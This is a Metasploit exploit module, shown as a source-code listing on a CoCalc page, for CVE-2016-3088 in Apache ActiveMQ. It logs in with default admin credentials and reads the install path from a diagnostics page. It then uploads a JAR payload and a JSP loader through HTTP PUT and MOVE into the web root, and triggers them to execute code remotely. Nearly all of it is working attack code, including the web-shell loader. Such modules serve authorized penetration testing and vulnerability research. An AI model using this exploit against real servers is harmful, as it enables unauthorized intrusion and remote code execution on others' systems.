Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_activemq_upload_jsp.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::FileDropper
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'ActiveMQ web shell upload',
16
'Description' => %q{
17
The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
18
allows remote attackers to upload and execute arbitrary files via an
19
HTTP PUT followed by an HTTP MOVE request.
20
},
21
'Author' => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2016-3088' ],
25
[ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]
26
],
27
'Privileged' => true,
28
'Platform' => %w{java linux win},
29
'Targets' => [
30
[
31
'Java Universal',
32
{
33
'Platform' => 'java',
34
'Arch' => ARCH_JAVA
35
}
36
],
37
[
38
'Linux',
39
{
40
'Platform' => 'linux',
41
'Arch' => ARCH_X86
42
}
43
],
44
[
45
'Windows',
46
{
47
'Platform' => 'win',
48
'Arch' => ARCH_X86
49
}
50
]
51
],
52
'DisclosureDate' => '2016-06-01',
53
'DefaultTarget' => 0,
54
'Notes' => {
55
'Reliability' => UNKNOWN_RELIABILITY,
56
'Stability' => UNKNOWN_STABILITY,
57
'SideEffects' => UNKNOWN_SIDE_EFFECTS
58
}
59
)
60
)
61
register_options(
62
[
63
OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),
64
OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),
65
OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),
66
OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
67
Opt::RPORT(8161)
68
]
69
)
70
register_advanced_options(
71
[
72
OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])
73
]
74
)
75
end
76
77
def jsp_text(payload_name)
78
%{
79
<%@ page import="java.io.*"
80
%><%@ page import="java.net.*"
81
%><%
82
URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});
83
Class c = cl.loadClass("metasploit.Payload");
84
c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
85
%>}
86
end
87
88
def exploit
89
jar_payload = payload.encoded_jar.pack
90
payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))
91
host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
92
@url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
93
paths = get_upload_paths
94
paths.each do |path|
95
if try_upload(path, jar_payload, payload_name)
96
break handler if trigger_payload(payload_name)
97
98
print_error('Unable to trigger payload')
99
end
100
end
101
end
102
103
def try_upload(path, jar_payload, payload_name)
104
['.jar', '.jsp'].each do |ext|
105
file_name = payload_name + ext
106
data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
107
move_headers = { 'Destination' => "#{@url}/#{path}/#{file_name}" }
108
upload_uri = normalize_uri('fileserver', file_name)
109
print_status("Uploading #{move_headers['Destination']}")
110
register_files_for_cleanup "#{path}/#{file_name}" if datastore['AutoCleanup'].casecmp('true')
111
return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
112
send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
113
114
@trigger_resource = /webapps(.*)/.match(path)[1]
115
end
116
true
117
end
118
119
def get_upload_paths
120
base_path = "#{get_install_path}/webapps"
121
custom_path = datastore['UploadPath']
122
return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
123
124
[ "#{base_path}/api/", "#{base_path}/admin/" ]
125
end
126
127
def get_install_path
128
properties_page = send_request('GET', "#{@url}/admin/test/")
129
fail_with(Failure::UnexpectedReply, 'Target did not respond with 200 OK to a request to /admin/test/!') if properties_page == false
130
properties_page = properties_page.body
131
match = properties_page.match(/activemq\.home=([^,}]+)/)
132
return match[1] unless match.nil?
133
end
134
135
def send_request(method, uri, expected_response = 200, opts = {})
136
opts['headers'] ||= {}
137
opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
138
opts['headers']['Connection'] = 'close'
139
r = send_request_cgi(
140
{
141
'method' => method,
142
'uri' => uri
143
}.merge(opts)
144
)
145
if r.nil?
146
fail_with(Failure::Unreachable, 'Could not reach the target!')
147
end
148
return false if expected_response != r.code.to_i
149
150
r
151
end
152
153
def trigger_payload(payload_name)
154
send_request('POST', @url + @trigger_resource + payload_name + '.jsp')
155
end
156
157
def error_out
158
print_error('Upload failed')
159
@trigger_resource = nil
160
false
161
end
162
end
163
164